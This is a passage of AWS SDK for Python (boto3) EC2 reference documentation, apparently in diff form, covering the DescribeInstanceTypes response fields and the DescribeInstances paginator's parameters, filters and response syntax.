g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'CurrentGeneration': True|False, + 'FreeTierEligible': True|False, + 'SupportedUsageClasses': [ + 'spot'|'on-demand', + ], + 'SupportedRootDeviceTypes': [ + 'ebs'|'instance-store', + ], + 'SupportedVirtualizationTypes': [ + 'hvm'|'paravirtual', + ], + 'BareMetal': True|False, + 'Hypervisor': 'nitro'|'xen', + 'ProcessorInfo': { + 'SupportedArchitectures': [ + 'i386'|'x86_64'|'arm64', + ], + 'SustainedClockSpeedInGhz': 123.0 + }, + 'VCpuInfo': { + 'DefaultVCpus': 123, + 'DefaultCores': 123, + 'DefaultThreadsPerCore': 123, + 'ValidCores': [ + 123, + ], + 'ValidThreadsPerCore': [ + 123, + ] + }, + 'MemoryInfo': { + 'SizeInMiB': 123 + }, + 'InstanceStorageSupported': True|False, + 'InstanceStorageInfo': { + 'TotalSizeInGB': 123, + 'Disks': [ + { + 'SizeInGB': 123, + 'Count': 123, + 'Type': 'hdd'|'ssd' + }, + ], + 'NvmeSupport': 'unsupported'|'supported'|'required' + }, + 'EbsInfo': { + 'EbsOptimizedSupport': 'unsupported'|'supported'|'default', + 'EncryptionSupport': 'unsupported'|'supported', + 'EbsOptimizedInfo': { + 'BaselineBandwidthInMbps': 123, + 'BaselineThroughputInMBps': 123.0, + 'BaselineIops': 123, + 'MaximumBandwidthInMbps': 123, + 'MaximumThroughputInMBps': 123.0, + 'MaximumIops': 123 + }, + 'NvmeSupport': 'unsupported'|'supported'|'required' + }, + 'NetworkInfo': { + 'NetworkPerformance': 'string', + 'MaximumNetworkInterfaces': 123, + 'MaximumNetworkCards': 123, + 'DefaultNetworkCardIndex': 123, + 'NetworkCards': [ + { + 'NetworkCardIndex': 123, + 'NetworkPerformance': 'string', + 'MaximumNetworkInterfaces': 123 + }, + ], + 'Ipv4AddressesPerInterface': 123, + 'Ipv6AddressesPerInterface': 123, + 'Ipv6Supported': True|False, + 'EnaSupport': 'unsupported'|'supported'|'required', + 'EfaSupported': True|False + }, + 'GpuInfo': { + 'Gpus': [ + { + 'Name': 'string', + 'Manufacturer': 'string', + 'Count': 123, + 'MemoryInfo': { + 'SizeInMiB': 123 + } + }, + ], + 'TotalGpuMemoryInMiB': 123 + }, + 'FpgaInfo': { + 'Fpgas': [ + { + 'Name': 'string', + 'Manufacturer': 'string', + 'Count': 123, + 'MemoryInfo': { + 'SizeInMiB': 123 + } + }, + ], + 'TotalFpgaMemoryInMiB': 123 + }, + 'PlacementGroupInfo': { + 'SupportedStrategies': [ + 'cluster'|'partition'|'spread', + ] + }, + 'InferenceAcceleratorInfo': { + 'Accelerators': [ + { + 'Count': 123, + 'Name': 'string', + 'Manufacturer': 'string' + }, + ] + }, + 'HibernationSupported': True|False, + 'BurstablePerformanceSupported': True|False, + 'DedicatedHostsSupported': True|False, + 'AutoRecoverySupported': True|False + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceTypes** _(list) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + Describes the instance type. + + - **InstanceType** _(string) --_ + + The instance type. For more information, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **CurrentGeneration** _(boolean) --_ + + Indicates whether the instance type is current generation. + + - **FreeTierEligible** _(boolean) --_ + + Indicates whether the instance type is eligible for the free tier. + + - **SupportedUsageClasses** _(list) --_ + + Indicates whether the instance type is offered for spot or On-Demand. + + - _(string) --_ + - **SupportedRootDeviceTypes** _(list) --_ + + The supported root device types. + + - _(string) --_ + - **SupportedVirtualizationTypes** _(list) --_ + + The supported virtualization types. + + - _(string) --_ + - **BareMetal** _(boolean) --_ + + Indicates whether the instance is a bare metal instance type. + + - **Hypervisor** _(string) --_ + + The hypervisor for the instance type. + + - **ProcessorInfo** _(dict) --_ + + Describes the processor. + + - **SupportedArchitectures** _(list) --_ + + The architectures supported by the instance type. + + - _(string) --_ + - **SustainedClockSpeedInGhz** _(float) --_ + + The speed of the processor, in GHz. + + - **VCpuInfo** _(dict) --_ + + Describes the vCPU configurations for the instance type. + + - **DefaultVCpus** _(integer) --_ + + The default number of vCPUs for the instance type. + + - **DefaultCores** _(integer) --_ + + The default number of cores for the instance type. + + - **DefaultThreadsPerCore** _(integer) --_ + + The default number of threads per core for the instance type. + + - **ValidCores** _(list) --_ + + The valid number of cores that can be configured for the instance type. + + - _(integer) --_ + - **ValidThreadsPerCore** _(list) --_ + + The valid number of threads per core that can be configured for the instance type. + + - _(integer) --_ + - **MemoryInfo** _(dict) --_ + + Describes the memory for the instance type. + + - **SizeInMiB** _(integer) --_ + + The size of the memory, in MiB. + + - **InstanceStorageSupported** _(boolean) --_ + + Indicates whether instance storage is supported. + + - **InstanceStorageInfo** _(dict) --_ + + Describes the instance storage for the instance type. + + - **TotalSizeInGB** _(integer) --_ + + The total size of the disks, in GB. + + - **Disks** _(list) --_ + + Describes the disks that are available for the instance type. + + - _(dict) --_ + + Describes the disk. + + - **SizeInGB** _(integer) --_ + + The size of the disk in GB. + + - **Count** _(integer) --_ + + The number of disks with this configuration. + + - **Type** _(string) --_ + + The type of disk. + + - **NvmeSupport** _(string) --_ + + Indicates whether non-volatile memory express (NVMe) is supported for instance store. + + - **EbsInfo** _(dict) --_ + + Describes the Amazon EBS settings for the instance type. + + - **EbsOptimizedSupport** _(string) --_ + + Indicates whether the instance type is Amazon EBS-optimized. For more information, see [Amazon EBS-Optimized Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSOptimized.html) in _Amazon EC2 User Guide for Linux Instances_ . + + - **EncryptionSupport** _(string) --_ + + Indicates whether Amazon EBS encryption is supported. + + - **EbsOptimizedInfo** _(dict) --_ + + Describes the optimized EBS performance for the instance type. + + - **BaselineBandwidthInMbps** _(integer) --_ + + The baseline bandwidth performance for an EBS-optimized instance type, in Mbps. + + - **BaselineThroughputInMBps** _(float) --_ + + The baseline throughput performance for an EBS-optimized instance type, in MB/s. + + - **BaselineIops** _(integer) --_ + + The baseline input/output storage operations per seconds for an EBS-optimized instance type. + + - **MaximumBandwidthInMbps** _(integer) --_ + + The maximum bandwidth performance for an EBS-optimized instance type, in Mbps. + + - **MaximumThroughputInMBps** _(float) --_ + + The maximum throughput performance for an EBS-optimized instance type, in MB/s. + + - **MaximumIops** _(integer) --_ + + The maximum input/output storage operations per second for an EBS-optimized instance type. + + - **NvmeSupport** _(string) --_ + + Indicates whether non-volatile memory express (NVMe) is supported. + + - **NetworkInfo** _(dict) --_ + + Describes the network settings for the instance type. + + - **NetworkPerformance** _(string) --_ + + The network performance. + + - **MaximumNetworkInterfaces** _(integer) --_ + + The maximum number of network interfaces for the instance type. + + - **MaximumNetworkCards** _(integer) --_ + + The maximum number of physical network cards that can be allocated to the instance. + + - **DefaultNetworkCardIndex** _(integer) --_ + + The index of the default network card, starting at 0. + + - **NetworkCards** _(list) --_ + + Describes the network cards for the instance type. + + - _(dict) --_ + + Describes the network card support of the instance type. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **NetworkPerformance** _(string) --_ + + The network performance of the network card. + + - **MaximumNetworkInterfaces** _(integer) --_ + + The maximum number of network interfaces for the network card. + + - **Ipv4AddressesPerInterface** _(integer) --_ + + The maximum number of IPv4 addresses per network interface. + + - **Ipv6AddressesPerInterface** _(integer) --_ + + The maximum number of IPv6 addresses per network interface. + + - **Ipv6Supported** _(boolean) --_ + + Indicates whether IPv6 is supported. + + - **EnaSupport** _(string) --_ + + Indicates whether Elastic Network Adapter (ENA) is supported. + + - **EfaSupported** _(boolean) --_ + + Indicates whether Elastic Fabric Adapter (EFA) is supported. + + - **GpuInfo** _(dict) --_ + + Describes the GPU accelerator settings for the instance type. + + - **Gpus** _(list) --_ + + Describes the GPU accelerators for the instance type. + + - _(dict) --_ + + Describes the GPU accelerators for the instance type. + + - **Name** _(string) --_ + + The name of the GPU accelerator. + + - **Manufacturer** _(string) --_ + + The manufacturer of the GPU accelerator. + + - **Count** _(integer) --_ + + The number of GPUs for the instance type. + + - **MemoryInfo** _(dict) --_ + + Describes the memory available to the GPU accelerator. + + - **SizeInMiB** _(integer) --_ + + The size of the memory available to the GPU accelerator, in MiB. + + - **TotalGpuMemoryInMiB** _(integer) --_ + + The total size of the memory for the GPU accelerators for the instance type, in MiB. + + - **FpgaInfo** _(dict) --_ + + Describes the FPGA accelerator settings for the instance type. + + - **Fpgas** _(list) --_ + + Describes the FPGAs for the instance type. + + - _(dict) --_ + + Describes the FPGA accelerator for the instance type. + + - **Name** _(string) --_ + + The name of the FPGA accelerator. + + - **Manufacturer** _(string) --_ + + The manufacturer of the FPGA accelerator. + + - **Count** _(integer) --_ + + The count of FPGA accelerators for the instance type. + + - **MemoryInfo** _(dict) --_ + + Describes the memory for the FPGA accelerator for the instance type. + + - **SizeInMiB** _(integer) --_ + + The size of the memory available to the FPGA accelerator, in MiB. + + - **TotalFpgaMemoryInMiB** _(integer) --_ + + The total memory of all FPGA accelerators for the instance type. + + - **PlacementGroupInfo** _(dict) --_ + + Describes the placement group settings for the instance type. + + - **SupportedStrategies** _(list) --_ + + The supported placement group types. + + - _(string) --_ + - **InferenceAcceleratorInfo** _(dict) --_ + + Describes the Inference accelerator settings for the instance type. + + - **Accelerators** _(list) --_ + + Describes the Inference accelerators for the instance type. + + - _(dict) --_ + + Describes the Inference accelerators for the instance type. + + - **Count** _(integer) --_ + + The number of Inference accelerators for the instance type. + + - **Name** _(string) --_ + + The name of the Inference accelerator. + + - **Manufacturer** _(string) --_ + + The manufacturer of the Inference accelerator. + + - **HibernationSupported** _(boolean) --_ + + Indicates whether On-Demand hibernation is supported. + + - **BurstablePerformanceSupported** _(boolean) --_ + + Indicates whether the instance type is a burstable performance instance type. + + - **DedicatedHostsSupported** _(boolean) --_ + + Indicates whether Dedicated Hosts are supported on the instance type. + + - **AutoRecoverySupported** _(boolean) --_ + + Indicates whether auto recovery is supported. + + +_class_ EC2.Paginator.DescribeInstances + +paginator = client.get_paginator('describe_instances') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + DryRun=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Reservations': [ + { + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'Instances': [ + { + 'AmiLaunchIndex': 123, + 'ImageId': 'string', + 'InstanceId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'